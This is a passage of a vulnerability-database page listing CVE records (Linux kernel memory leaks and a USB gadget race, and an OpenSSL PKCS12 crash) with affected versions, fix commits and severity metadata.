          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: qat - Fix ADF_DEV_RESET_SYNC memory leak\n\nUsing completion_done to determine whether the caller has gone\naway only works after a complete call.  Furthermore it\u0027s still\npossible that the caller has not yet called wait_for_completion,\nresulting in another potential UAF.\n\nFix this by making the caller use cancel_work_sync and then freeing\nthe memory safely."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:21:37.640Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/0ce5964b82f212f4df6a9813f09a0b5de15bd9c8"
        },
        {
          "url": "https://git.kernel.org/stable/c/6396b33e98c096bff9c253ed49c008247963492a"
        },
        {
          "url": "https://git.kernel.org/stable/c/a718b6d2a329e069b27d9049a71be5931e71d960"
        },
        {
          "url": "https://git.kernel.org/stable/c/3fb4601e0db10d4fe25e46f3fa308d40d37366bd"
        },
        {
          "url": "https://git.kernel.org/stable/c/e7428e7e3fe94a5089dc12ffe5bc31574d2315ad"
        },
        {
          "url": "https://git.kernel.org/stable/c/c2d443aa1ae3175c13a665f3a24b8acd759ce9c3"
        },
        {
          "url": "https://git.kernel.org/stable/c/d0fd124972724cce0d48b9865ce3e273ef69e246"
        },
        {
          "url": "https://git.kernel.org/stable/c/d3b17c6d9dddc2db3670bc9be628b122416a3d26"
        }
      ],
      "title": "crypto: qat - Fix ADF_DEV_RESET_SYNC memory leak",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-39493",
    "datePublished": "2024-07-10T07:18:39.443Z",
    "dateReserved": "2024-06-25T14:23:23.748Z",
    "dateUpdated": "2026-05-12T11:55:33.627Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35978 (GCVE-0-2024-35978)

Vulnerability from cvelistv5 – Published: 2024-05-20 09:42 – Updated: 2026-05-12 11:53

Title

Bluetooth: Fix memory leak in hci_req_sync_complete()

Summary

In the Linux kernel, the following vulnerability has been resolved: Bluetooth: Fix memory leak in hci_req_sync_complete() In 'hci_req_sync_complete()', always free the previous sync request state before assigning reference to a new one.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/89a32741f42178560…
https://git.kernel.org/stable/c/4beab84fbb50df3be…
https://git.kernel.org/stable/c/8478394f76c748862…
https://git.kernel.org/stable/c/75193678cce993aa9…
https://git.kernel.org/stable/c/66fab1e120b39f8f4…
https://git.kernel.org/stable/c/9ab5e44b9bac946bd…
https://git.kernel.org/stable/c/e4cb8382fff670643…
https://git.kernel.org/stable/c/45d355a926ab40f3a…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: f60cb30579d3401cab1ed36b42df5c0568ae0ba7 , < 89a32741f4217856066c198a4a7267bcdd1edd67 (git) Affected: f60cb30579d3401cab1ed36b42df5c0568ae0ba7 , < 4beab84fbb50df3be1d8f8a976e6fe882ca65cb2 (git) Affected: f60cb30579d3401cab1ed36b42df5c0568ae0ba7 , < 8478394f76c748862ef179a16f651f752bdafaf0 (git) Affected: f60cb30579d3401cab1ed36b42df5c0568ae0ba7 , < 75193678cce993aa959e7764b6df2f599886dd06 (git) Affected: f60cb30579d3401cab1ed36b42df5c0568ae0ba7 , < 66fab1e120b39f8f47a94186ddee36006fc02ca8 (git) Affected: f60cb30579d3401cab1ed36b42df5c0568ae0ba7 , < 9ab5e44b9bac946bd49fd63264a08cd1ea494e76 (git) Affected: f60cb30579d3401cab1ed36b42df5c0568ae0ba7 , < e4cb8382fff6706436b66eafd9c0ee857ff0a9f5 (git) Affected: f60cb30579d3401cab1ed36b42df5c0568ae0ba7 , < 45d355a926ab40f3ae7bc0b0a00cb0e3e8a5a810 (git)
Linux	Linux	Affected: 4.1 Unaffected: 0 , < 4.1 (semver) Unaffected: 4.19.313 , ≤ 4.19.* (semver) Unaffected: 5.4.275 , ≤ 5.4.* (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.156 , ≤ 5.15.* (semver) Unaffected: 6.1.87 , ≤ 6.1.* (semver) Unaffected: 6.6.28 , ≤ 6.6.* (semver) Unaffected: 6.8.7 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:49.106Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/89a32741f4217856066c198a4a7267bcdd1edd67"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4beab84fbb50df3be1d8f8a976e6fe882ca65cb2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8478394f76c748862ef179a16f651f752bdafaf0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/75193678cce993aa959e7764b6df2f599886dd06"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/66fab1e120b39f8f47a94186ddee36006fc02ca8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9ab5e44b9bac946bd49fd63264a08cd1ea494e76"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e4cb8382fff6706436b66eafd9c0ee857ff0a9f5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/45d355a926ab40f3ae7bc0b0a00cb0e3e8a5a810"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35978",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:40:19.764232Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:13.184Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:23.361Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/bluetooth/hci_request.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "89a32741f4217856066c198a4a7267bcdd1edd67",
              "status": "affected",
              "version": "f60cb30579d3401cab1ed36b42df5c0568ae0ba7",
              "versionType": "git"
            },
            {
              "lessThan": "4beab84fbb50df3be1d8f8a976e6fe882ca65cb2",
              "status": "affected",
              "version": "f60cb30579d3401cab1ed36b42df5c0568ae0ba7",
              "versionType": "git"
            },
            {
              "lessThan": "8478394f76c748862ef179a16f651f752bdafaf0",
              "status": "affected",
              "version": "f60cb30579d3401cab1ed36b42df5c0568ae0ba7",
              "versionType": "git"
            },
            {
              "lessThan": "75193678cce993aa959e7764b6df2f599886dd06",
              "status": "affected",
              "version": "f60cb30579d3401cab1ed36b42df5c0568ae0ba7",
              "versionType": "git"
            },
            {
              "lessThan": "66fab1e120b39f8f47a94186ddee36006fc02ca8",
              "status": "affected",
              "version": "f60cb30579d3401cab1ed36b42df5c0568ae0ba7",
              "versionType": "git"
            },
            {
              "lessThan": "9ab5e44b9bac946bd49fd63264a08cd1ea494e76",
              "status": "affected",
              "version": "f60cb30579d3401cab1ed36b42df5c0568ae0ba7",
              "versionType": "git"
            },
            {
              "lessThan": "e4cb8382fff6706436b66eafd9c0ee857ff0a9f5",
              "status": "affected",
              "version": "f60cb30579d3401cab1ed36b42df5c0568ae0ba7",
              "versionType": "git"
            },
            {
              "lessThan": "45d355a926ab40f3ae7bc0b0a00cb0e3e8a5a810",
              "status": "affected",
              "version": "f60cb30579d3401cab1ed36b42df5c0568ae0ba7",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/bluetooth/hci_request.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.1"
            },
            {
              "lessThan": "4.1",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.313",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.275",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.156",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.87",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.28",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.313",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.275",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.156",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.87",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.28",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.7",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: Fix memory leak in hci_req_sync_complete()\n\nIn \u0027hci_req_sync_complete()\u0027, always free the previous sync\nrequest state before assigning reference to a new one."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:14:53.067Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/89a32741f4217856066c198a4a7267bcdd1edd67"
        },
        {
          "url": "https://git.kernel.org/stable/c/4beab84fbb50df3be1d8f8a976e6fe882ca65cb2"
        },
        {
          "url": "https://git.kernel.org/stable/c/8478394f76c748862ef179a16f651f752bdafaf0"
        },
        {
          "url": "https://git.kernel.org/stable/c/75193678cce993aa959e7764b6df2f599886dd06"
        },
        {
          "url": "https://git.kernel.org/stable/c/66fab1e120b39f8f47a94186ddee36006fc02ca8"
        },
        {
          "url": "https://git.kernel.org/stable/c/9ab5e44b9bac946bd49fd63264a08cd1ea494e76"
        },
        {
          "url": "https://git.kernel.org/stable/c/e4cb8382fff6706436b66eafd9c0ee857ff0a9f5"
        },
        {
          "url": "https://git.kernel.org/stable/c/45d355a926ab40f3ae7bc0b0a00cb0e3e8a5a810"
        }
      ],
      "title": "Bluetooth: Fix memory leak in hci_req_sync_complete()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35978",
    "datePublished": "2024-05-20T09:42:03.759Z",
    "dateReserved": "2024-05-17T13:50:33.144Z",
    "dateUpdated": "2026-05-12T11:53:23.361Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-0727 (GCVE-0-2024-0727)

Vulnerability from cvelistv5 – Published: 2024-01-26 08:57 – Updated: 2026-05-12 11:26

Title

PKCS12 Decoding crashes

Summary

Issue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL to crash leading to a potential Denial of Service attack Impact summary: Applications loading files in the PKCS12 format from untrusted sources might terminate abruptly. A file in PKCS12 format can contain certificates and keys and may come from an untrusted source. The PKCS12 specification allows certain fields to be NULL, but OpenSSL does not correctly check for this case. This can lead to a NULL pointer dereference that results in OpenSSL crashing. If an application processes PKCS12 files from an untrusted source using the OpenSSL APIs then that application will be vulnerable to this issue. OpenSSL APIs that are vulnerable to this are: PKCS12_parse(), PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes() and PKCS12_newpass(). We have also fixed a similar issue in SMIME_write_PKCS7(). However since this function is related to writing data we do not consider it security significant. The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue.

Severity ?

No CVSS data available.

CWE

CWE-476 - NULL Pointer Dereference

Assigner

openssl

References

6 references

URL	Tags
https://www.openssl.org/news/secadv/20240125.txt	vendor-advisory
https://github.com/openssl/openssl/commit/775acfd…	patch
https://github.com/openssl/openssl/commit/d135eea…	patch
https://github.com/openssl/openssl/commit/09df439…	patch
https://github.openssl.org/openssl/extended-relea…	patch
https://github.openssl.org/openssl/extended-relea…	patch

Impacted products

1 product

Vendor	Product	Version
OpenSSL	OpenSSL	Affected: 3.2.0 , < 3.2.1 (semver) Affected: 3.1.0 , < 3.1.5 (semver) Affected: 3.0.0 , < 3.0.13 (semver) Affected: 1.1.1 , < 1.1.1x (custom) Affected: 1.0.2 , < 1.0.2zj (custom)

Date Public ?

2024-01-25 00:00

Credits

Bahaa Naamneh (Crosspoint Labs) Matt Caswell

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:51:01.094Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "name": "OpenSSL Advisory",
            "tags": [
              "vendor-advisory",
              "x_transferred"
            ],
            "url": "https://www.openssl.org/news/secadv/20240125.txt"
          },
          {
            "name": "3.2.1 git commit",
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.com/openssl/openssl/commit/775acfdbd0c6af9ac855f34969cdab0c0c90844a"
          },
          {
            "name": "3.1.5 git commit",
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.com/openssl/openssl/commit/d135eeab8a5dbf72b3da5240bab9ddb7678dbd2c"
          },
          {
            "name": "3.0.13 git commit",
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.com/openssl/openssl/commit/09df4395b5071217b76dc7d3d2e630eb8c5a79c2"
          },
          {
            "name": "1.1.1x git commit",
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.openssl.org/openssl/extended-releases/commit/03b3941d60c4bce58fab69a0c22377ab439bc0e8"
          },
          {
            "name": "1.0.2zj git commit",
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.openssl.org/openssl/extended-releases/commit/aebaa5883e31122b404e450732dc833dc9dee539"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://security.netapp.com/advisory/ntap-20240208-0006/"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "http://www.openwall.com/lists/oss-security/2024/03/11/1"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/11/msg00000.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00033.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "REQUIRED",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-0727",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-05-08T20:15:21.221130Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-476",
                "description": "CWE-476 NULL Pointer Dereference",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-05-29T15:17:17.376Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIDIS Prime",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V4.0.700",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SINEC NMS",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.0 SP1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:26:05.375Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-331112.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-915275.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-769027.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-277137.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "OpenSSL",
          "vendor": "OpenSSL",
          "versions": [
            {
              "lessThan": "3.2.1",
              "status": "affected",
              "version": "3.2.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.1.5",
              "status": "affected",
              "version": "3.1.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.0.13",
              "status": "affected",
              "version": "3.0.0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.1.1x",
              "status": "affected",
              "version": "1.1.1",
              "versionType": "custom"
            },
            {
              "lessThan": "1.0.2zj",
              "status": "affected",
              "version": "1.0.2",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "user": "00000000-0000-4000-9000-000000000000",
          "value": "Bahaa Naamneh (Crosspoint Labs)"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "user": "00000000-0000-4000-9000-000000000000",
          "value": "Matt Caswell"
        }
      ],
      "datePublic": "2024-01-25T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Issue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL\u003cbr\u003eto crash leading to a potential Denial of Service attack\u003cbr\u003e\u003cbr\u003eImpact summary: Applications loading files in the PKCS12 format from untrusted\u003cbr\u003esources might terminate abruptly.\u003cbr\u003e\u003cbr\u003eA file in PKCS12 format can contain certificates and keys and may come from an\u003cbr\u003euntrusted source. The PKCS12 specification allows certain fields to be NULL, but\u003cbr\u003eOpenSSL does not correctly check for this case. This can lead to a NULL pointer\u003cbr\u003edereference that results in OpenSSL crashing. If an application processes PKCS12\u003cbr\u003efiles from an untrusted source using the OpenSSL APIs then that application will\u003cbr\u003ebe vulnerable to this issue.\u003cbr\u003e\u003cbr\u003eOpenSSL APIs that are vulnerable to this are: PKCS12_parse(),\u003cbr\u003ePKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes()\u003cbr\u003eand PKCS12_newpass().\u003cbr\u003e\u003cbr\u003eWe have also fixed a similar issue in SMIME_write_PKCS7(). However since this\u003cbr\u003efunction is related to writing data we do not consider it security significant.\u003cbr\u003e\u003cbr\u003eThe FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue."
            }
          ],
          "value": "Issue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL\nto crash leading to a potential Denial of Service attack\n\nImpact summary: Applications loading files in the PKCS12 format from untrusted\nsources might terminate abruptly.\n\nA file in PKCS12 format can contain certificates and keys and may come from an\nuntrusted source. The PKCS12 specification allows certain fields to be NULL, but\nOpenSSL does not correctly check for this case. This can lead to a NULL pointer\ndereference that results in OpenSSL crashing. If an application processes PKCS12\nfiles from an untrusted source using the OpenSSL APIs then that application will\nbe vulnerable to this issue.\n\nOpenSSL APIs that are vulnerable to this are: PKCS12_parse(),\nPKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes()\nand PKCS12_newpass().\n\nWe have also fixed a similar issue in SMIME_write_PKCS7(). However since this\nfunction is related to writing data we do not consider it security significant.\n\nThe FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue."
        }
      ],
      "metrics": [
        {
          "format": "other",
          "other": {
            "content": {
              "text": "Low"
            },
            "type": "https://www.openssl.org/policies/secpolicy.html"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-476",
              "description": "CWE-476 NULL Pointer Dereference",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-10-14T14:55:58.371Z",
        "orgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
        "shortName": "openssl"
      },
      "references": [
        {
          "name": "OpenSSL Advisory",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://www.openssl.org/news/secadv/20240125.txt"
        },
        {
          "name": "3.2.1 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/775acfdbd0c6af9ac855f34969cdab0c0c90844a"
        },
        {
          "name": "3.1.5 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/d135eeab8a5dbf72b3da5240bab9ddb7678dbd2c"
        },
        {
          "name": "3.0.13 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/09df4395b5071217b76dc7d3d2e630eb8c5a79c2"
        },
        {
          "name": "1.1.1x git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.openssl.org/openssl/extended-releases/commit/03b3941d60c4bce58fab69a0c22377ab439bc0e8"
        },
        {
          "name": "1.0.2zj git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.openssl.org/openssl/extended-releases/commit/aebaa5883e31122b404e450732dc833dc9dee539"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "PKCS12 Decoding crashes",
      "x_generator": {
        "engine": "Vulnogram 0.1.0-dev"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
    "assignerShortName": "openssl",
    "cveId": "CVE-2024-0727",
    "datePublished": "2024-01-26T08:57:19.579Z",
    "dateReserved": "2024-01-19T11:01:11.010Z",
    "dateUpdated": "2026-05-12T11:26:05.375Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-57913 (GCVE-0-2024-57913)

Vulnerability from cvelistv5 – Published: 2025-01-19 11:52 – Updated: 2026-05-12 12:01

Title

usb: gadget: f_fs: Remove WARN_ON in functionfs_bind

Summary

In the Linux kernel, the following vulnerability has been resolved: usb: gadget: f_fs: Remove WARN_ON in functionfs_bind This commit addresses an issue related to below kernel panic where panic_on_warn is enabled. It is caused by the unnecessary use of WARN_ON in functionsfs_bind, which easily leads to the following scenarios. 1.adb_write in adbd 2. UDC write via configfs ================= ===================== ->usb_ffs_open_thread() ->UDC write ->open_functionfs() ->configfs_write_iter() ->adb_open() ->gadget_dev_desc_UDC_store() ->adb_write() ->usb_gadget_register_driver_owner ->driver_register() ->StartMonitor() ->bus_add_driver() ->adb_read() ->gadget_bind_driver() <times-out without BIND event> ->configfs_composite_bind() ->usb_add_function() ->open_functionfs() ->ffs_func_bind() ->adb_open() ->functionfs_bind() <ffs->state !=FFS_ACTIVE> The adb_open, adb_read, and adb_write operations are invoked from the daemon, but trying to bind the function is a process that is invoked by UDC write through configfs, which opens up the possibility of a race condition between the two paths. In this race scenario, the kernel panic occurs due to the WARN_ON from functionfs_bind when panic_on_warn is enabled. This commit fixes the kernel panic by removing the unnecessary WARN_ON. Kernel panic - not syncing: kernel: panic_on_warn set ... [ 14.542395] Call trace: [ 14.542464] ffs_func_bind+0x1c8/0x14a8 [ 14.542468] usb_add_function+0xcc/0x1f0 [ 14.542473] configfs_composite_bind+0x468/0x588 [ 14.542478] gadget_bind_driver+0x108/0x27c [ 14.542483] really_probe+0x190/0x374 [ 14.542488] __driver_probe_device+0xa0/0x12c [ 14.542492] driver_probe_device+0x3c/0x220 [ 14.542498] __driver_attach+0x11c/0x1fc [ 14.542502] bus_for_each_dev+0x104/0x160 [ 14.542506] driver_attach+0x24/0x34 [ 14.542510] bus_add_driver+0x154/0x270 [ 14.542514] driver_register+0x68/0x104 [ 14.542518] usb_gadget_register_driver_owner+0x48/0xf4 [ 14.542523] gadget_dev_desc_UDC_store+0xf8/0x144 [ 14.542526] configfs_write_iter+0xf0/0x138

Severity ?

4.7 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/bfe60030fcd976e35…
https://git.kernel.org/stable/c/3e4d32cc145955d5c…
https://git.kernel.org/stable/c/19fc1c83454ca9d56…
https://git.kernel.org/stable/c/82f60f3600aecd9ff…
https://git.kernel.org/stable/c/ea6a1498742430eb2…
https://git.kernel.org/stable/c/a8b6a18b9b66cc4c0…
https://git.kernel.org/stable/c/dfc51e48bca475bbe…

Impacted products

2 products

Vendor	Product	Version
